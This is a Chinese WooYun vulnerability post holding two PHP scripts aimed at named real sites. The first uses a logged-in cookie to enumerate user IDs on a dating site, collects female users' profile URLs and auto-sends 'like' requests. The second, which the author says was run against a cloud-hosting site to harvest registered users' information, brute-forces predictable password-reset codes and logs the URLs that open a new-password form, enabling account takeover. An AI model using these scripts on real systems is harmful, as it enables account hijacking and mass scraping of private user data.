乌云漏洞编号:
WooYun-2014-68061
作者:hkAssassin
爬虫程序源码:
<?php header("content-type:text/html;charset=utf-8"); id(); //爬虫开始 function id(){ for($i=1;$i<1000;$i++){ send($i); if($i==410){ exit; } } } function send($id){ $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30); /*fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回FALSE。*/ if(!$fp){ echo "$errstr ($errno)<br /> "; //返回错误信息 }else{ //$header = "GET /person?userId=108 HTTP/1.1 "; $header = "GET /person?userId=".$id." HTTP/1.1 "; $header.="Accept: text/html, application/xhtml+xml, */* "; $header.="Accept-Language: zh-CN "; $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko "; $header .= "Host:xq.ibaihe.com "; $header .= "DNT: 1 "; $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******(这里为你自己的登陆cookie) "; $header .= "Connection: Close "; fwrite($fp,$header); /*fwrite() 返回写入的字符数,出现错误时则返回 FALSE 。*/ $status = stream_get_meta_data($fp); /*stream_get_meta_data — 从封装协议文件指针中取得报头/元数据 array stream_get_meta_data ( int $fp ) */ if(!$status['timed_out']) { /*timed_out (bool) - 如果在上次调用 fread() 或者 fgets() 中等待数据时流超时了则为 TRUE。*/ while (!feof($fp)) { /*feof — 测试文件指针是否到了文件结束的位置 bool feof ( resource $handle )测试文件指针是否到了文件结束的位。handle 文件指针必须是有效的,必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭) 如果文件指针到了 EOF 或者出错时则返回 TRUE,否则返回一个错误(包括 socket 超时),其它情况则返回 FALSE。。*/ if(($header = @fgets($fp)) && ($header == " " || $header == " ")) { /*fgets — 从文件指针中读取一行从指针 handle 指向的文件中读取了 length - 1 字节后返回字符串。 如果文件指针中没有更多的数据了则返回 FALSE。 错误发生时返回 FALSE。*/ break; } } $stop = false; while(!feof($fp) && !$stop) { $data = fread($fp,8192); /*fread — 读取文件(可安全用于二进制文件)fread() 从文件指针 handle 读取最多 length 个字节。 该函数在遇上以下几种情况时停止读取文件:*/ $return .= $data; } } $str1='女士'; $str2='她'; $po1=stripos($return,$str1); $po2=stripos($return,$str2); /*stripos — 查找字符串首次出现的位置(不区分大小写)int stripos ( string $haystack , string $needle [, int $offset = 0 ] )返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。 如果未发现 needle 将返回 FALSE。*/ if($po1!=false|| $po2!=false){ $url="http://xq.ibaihe.com/person?userId=".$id." "; $fopen=fopen("bh.txt","a"); /*fopen — 打开文件或者 URL写入方式打开,'a'将文件指针指向文件末尾。如果文件不存在则尝试创建之。*/ fwrite($fopen,$url); sendLike($id); } } fclose($fp); } //send end function sendLike($id){ $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30); if(!$fp){ echo "$errstr ($errno)<br /> "; }else{ //$header = "GET /person?userId=108 HTTP/1.1 "; $header = "POST /enjoy/ HTTP/1.1 "; $header.="Accept: application/json, text/javascript, */*; q=0.01 "; $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 "; $header.="X-Requested-With: XMLHttpRequest "; $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." "; $header.="Accept-Language: zh-CN "; $header.="Accept-Encoding: gzip, deflate "; $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko "; $header .= "Host:xq.ibaihe.com "; $header .="Content-Length: 19 "; $header .= "DNT: 1 "; $hrader .="Proxy-Connection: Keep-Alive "; $header.="Pragma: no-cache "; $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie) "; $header .="type=like&oppId=".$id; $header .= "Connection: Close "; fwrite($fp,$header); while(!feof($fp)){ $res_str.=fgets($fp,512); } fclose($fp); var_dump($res_str); /*var_dump — 打印变量的相关信息*/ } } //sendLike end
现学现用:
参照以上程序,我针对AAA云服务器网进行了一个爬虫,爬取了一部分注册用户的信息
<?php header("content-type:text/html;charset=utf-8"); code(); function code() { for($i=100000;$i<103000;$i++) { send($i); if($i==102000) { exit; } } } function send($id) { $fp = fsockopen("www.aaayun.com",80,$errno,$errstr,30); if(!$fp) { echo "$errstr ($errno)<br/> "; } else { $header = "GET /members/user_reset.php?code=jggsrlrmlyxhnjuyympt_".$id." HTTP/1.1 "; $header .= "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 "; $header .= "Accept-Language:zh-CN "; $header .= "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER "; $header .= "HOST:www.aaayun.com "; $header .= "Cookie:AJSTAT_ok_times=; __login_user_ssid=nmb1fer1dqs8jl6vpid7ogsjd6; visitReferDomain=www.baidu.com; PHPSESSID=nmb1fer1dqs8jl6vpid7ogsjd6; AJSTAT_ok_pages=9; AJSTAT_ok_times=NaN "; $header.="Connection: Close "; fwrite($fp,$header); $status = stream_get_meta_data($fp); if(!$status['time_out']) { while(!feof($fp)) { if(($header = @fgets($fp)) && ($header == " ") || $header == " ") break; } } $stop = false; while(!feof($fp) && !$stop) { $data = fread($fp,7388); $return .= $data; } } $str1 = '请输入新的登录密码'; $po1 = stripos($return,$str1); if($po1 != false) { $url = "http://www.aaayun.com/members/user_reset.php?code=jggsrlrmlyxhnjuyympt_".$id." "; $fopen = fopen("bh.txt","a"); fwrite($fopen,$url); } fclose($fp); } ?>